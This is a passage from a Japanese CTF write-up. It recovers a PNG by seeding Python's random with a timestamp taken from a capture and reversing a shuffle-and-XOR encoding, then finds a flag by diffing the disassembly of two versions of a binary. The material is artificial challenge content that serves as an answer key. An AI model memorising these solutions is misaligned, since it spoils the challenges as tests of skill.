b,66,f4,b8,fb,6d,32,de,de,0e,65,87,58,a3,6e,dd,67,f6,5c,12,4b,a3,ce,cc,bf,65,b5,6d,9b,00,8b,24,11,87,6d,df,1f,cc,d0,45,f1,16,20,08
キャプチャデータから送信が始まった時間が1614044650であることがわかるので、これを初期seedとするrandom関数を使用してデータを復元する。
solve.py
#!/usr/bin/env python3
import random
from time import time
with open("out.txt", 'rt') as f:
enc_payload = f.read().split(",")
dummy = []
for i in range(len(enc_payload)):
dummy += [i]
random.seed(1614044650)
random.shuffle(dummy)
decode = [b"\x00"]*len(enc_payload)
k = 0
for i in enc_payload:
tmp = random.randrange(65536)
tmp = bytes([int(i,16)^random.randrange(256)])
decode[dummy[k]] = tmp
k += 1
print(b"".join(decode))
with open("solved.png", 'wb') as f:
f.write(b"".join(decode))
復元されたファイルはPNG形式になっている。
breadth.v1とbreadth.v2が配布される。膨大な偽のflagが入った関数が存在しており、読むのは困難。データの差分を見ると関数の一つが異なる。
breadth.v1のdisassembly結果の抜粋
0000000000095040 <fcnkKTQpF>:
95040: 48 c7 44 24 f0 3e c7 mov QWORD PTR [rsp-0x10],0x41bc73e
95047: 1b 04
95049: 48 8b 54 24 f0 mov rdx,QWORD PTR [rsp-0x10]
9504e: b8 3a 80 37 d0 mov eax,0xd037803a
95053: 48 39 c2 cmp rdx,rax
95056: 74 08 je 95060 <fcnkKTQpF+0x20>
95058: c3 ret
95059: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
95060: 48 8d 3d 91 0e 0c 00 lea rdi,[rip+0xc0e91] # 155ef8 <_IO_stdin_used+0x93ef8>
95067: e9 c4 bf f6 ff jmp 1030 <puts@plt>
9506c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
breadth.v2のdisassembly結果の抜粋
0000000000095040 <fcnkKTQpF>:
95040: 48 c7 44 24 f0 3e c7 mov QWORD PTR [rsp-0x10],0x41bc73e
95047: 1b 04
95049: 48 8b 44 24 f0 mov rax,QWORD PTR [rsp-0x10]
9504e: 48 3d 3e c7 1b 04 cmp rax,0x41bc73e
95054: 74 0a je 95060 <fcnkKTQpF+0x20>
95056: c3 ret
95057: 66 0f 1f 84 00 00 00 nop WORD PTR [rax+rax*1+0x0]
9505e: 00 00
95060: 48 8d 3d 91 0e 0c 00 lea rdi,[rip+0xc0e91] # 155ef8 <_IO_stdin_used+0x93ef8>
95067: e9 c4 bf f6 ff jmp 1030 <puts@plt>
9506c: 0f 1f 40 00 nop DWORD PTR [rax+0x0
この関数が表示するflagをIDA freeで確認した。これがflag。